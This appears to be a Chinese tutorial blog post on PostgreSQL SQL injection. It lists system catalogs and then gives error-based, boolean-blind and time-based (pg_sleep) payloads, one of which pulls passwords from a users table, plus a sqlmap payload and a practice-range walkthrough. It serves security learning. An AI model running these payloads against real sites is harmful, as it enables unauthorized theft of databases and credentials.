以前孤陋寡闻对postgresql这个数据库少有了解,后来与几个目前在企业实习的朋友聊天才得知他们有的公司项目用的是postgresql,有的公司是正在将原本的数据库迁移到postgresql。可见postgresql比较热(毕竟免费且功能齐全)。
postgresql简称PG,是一种特性非常齐全的自由软件的对象-关系型数据库管理系统。
默认的端口是:5432,默认的用户名是: postgres ,默认的数据库也是:postgres 。
连接数据库
psql -U 用户名 -h 主机号 [-d 数据库名,-p 端口号]
查库:\l
选库:\c 库名
查表:\d
查列:\d 表名
\x:查询结果以行或列显示切换
如果连接不上数据库就在,/etc/postgresql/版本数/main/pg_hba.conf中添加IP如下图中最下面的一行格式即可。
postgresql与MySQL的特性也有相通,比如information_schema也是存在的且与MySQL的使用大致相同,不过postgresql查表的限制都是public,啥意思?操作一下就知道了
MySQL查表时,table_schema限制为数据库名,postgresql为public。
postgresql有几个特有的查询关键字
current_catalog / current_database() 与MySQL中的database()作用相同,为当前数据库名
pg_database可查询所有的数据库(列名关键字为datname)
MySQL中的limit 0,1在postgresql只能以limit 1 offset 0格式存在
user / current_user / getpgusername()都可用于查询当前用户名
pg_stat_user_tables为当用户的表单所有信息,可用于查表名(列关键字为relname)
current_schema[()]表示当前模式名
pg_tables 是一个系统表,提供对数据库中每个表的信息的访问,通过对schemaname模式的限制得到表名
另外,postgresql只有--+注释符,像#、;%00都是不可以的。
联合注入就不说了,记住上面几个关键字,MySQL能union注入查询的,postgresql也是一样查询。
postgresql的报错注入原理与MSSQL的相同利用强类型语言数据库特性,当类型不一致时将会报错带出敏感数据达到注入的目的。具体用到的函数与MSSQL相同,cast()或者convert()这种强制转换的函数在与一个数比较达到报错目的。(前提是目标网站开启了报错提示)。
查看版本:
1 AND 2=CAST((SELECT version())::text AS NUMERIC)
查库:
1 AND 2=CAST((SELECT current_database())::text AS NUMERIC)
1 AND 2=CAST((SELECT datname from pg_database limit 1 offset 0)::text AS NUMERIC)
………………
查表:
1 AND 2=CAST((SELECT relname from pg_stat_user_tables limit 1 offset 0)::text AS NUMERIC)
………………
查列:
1 AND 2=CAST((select column_name from information_schema.columns where table_name='test' limit 1 offset 0)::text AS NUMERIC)
还有一个sqlmap跑出来的payload(仅供参考):
1 AND 7778=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (7778=7778) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(112)||CHR(106)||CHR(113)) AS NUMERIC)
这里解释一下这几个函数在这里面的作用:
CAST():强制转换,在这里主要格式为CAST('string' as NUMERIC),即将字符串转换为数字型。
1::text : 这个和上面恰好相反,它的意思是将一个数字型转换为text文本类型
sqlmap中有个case...when...then...else...end 是类似与if的分支条件语句
利用ascii()、substring()、between(或者用等于号 = 判断)
判断数据库名长度:
1' and (select length(current_database())) between 0 and 14 --+
判断数据表的个数:
1' and (select count(*) from pg_stat_user_tables) between 0 and 4 --+
判断数据库的名:
1' and (select ascii(substr(current_database(),1,1))) between 0 and 118--+
判断表名长度:
1' and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 5--+
判断表名:
1' and (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 117--+
判断列名:
1' and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name='users' limit 1 OFFSET 0) between 0 and 110 --+
……………………
原理啥的应该不用说了,如果不知道建议看前面的MySQL文章循序渐进。
找一个替代MySQL中sleep()或者benchmark()作用的函数-----pg_sleep()。
查库:
1 and (case when(ascii(substr((select datname from pg_database limit 1),1,1))=97) then (select 5 from pg_sleep(5)) else 1 end)
查表:
1 and (case when(ascii(substr((select relname from pg_stat_user_tables limit 1 offset 0),1,1))=97) then (select 5 from pg_sleep(5)) else 1 end)
查列:
1 and (case when(ascii(substr((select column_name from information_schema.columns where table_name="users" limit 1 offset 0),1,1))=97) then (select 5 from pg_sleep(5)) else 1 end)
查字段:
1 and (case when(ascii(substr((select password from users limit 1 offset 0),1,1))=97) then (select 5 from pg_sleep(5)) else 1 end)
只要一句sql语句有个结束标志,且网站对sql语句的执行条数没有限制,堆叠注入是最简单方便的。
墨者学院靶场的一个postgresql题目,一起巩固一下吧。
初步判断为数字型注入,进而运用 order by 判断列的数量为4,但是出现如下
无反应?不用慌,出现这种情况说明联合注入时类型不统一,所以我们一个一个的测试
经过测试发现四个类型都为字符型,因此就成功了,我们就可以用比较常规的查询做了,查库,
查表,
依次遍历表查到一个类似用户表的名字,进而查列
最后把数据查出来即可
参考:PostgreSQL 12系统表(2)pg_tables_MambaCloud的博客-CSDN博客
PostgreSQL数据库的注入_谢公子的博客-CSDN博客_postgresql注入
postgresql使用(三):收集Postgresql数据库统计信息 - 灰信网(软件开发博客聚合)
Postgresql注入笔记 - 简书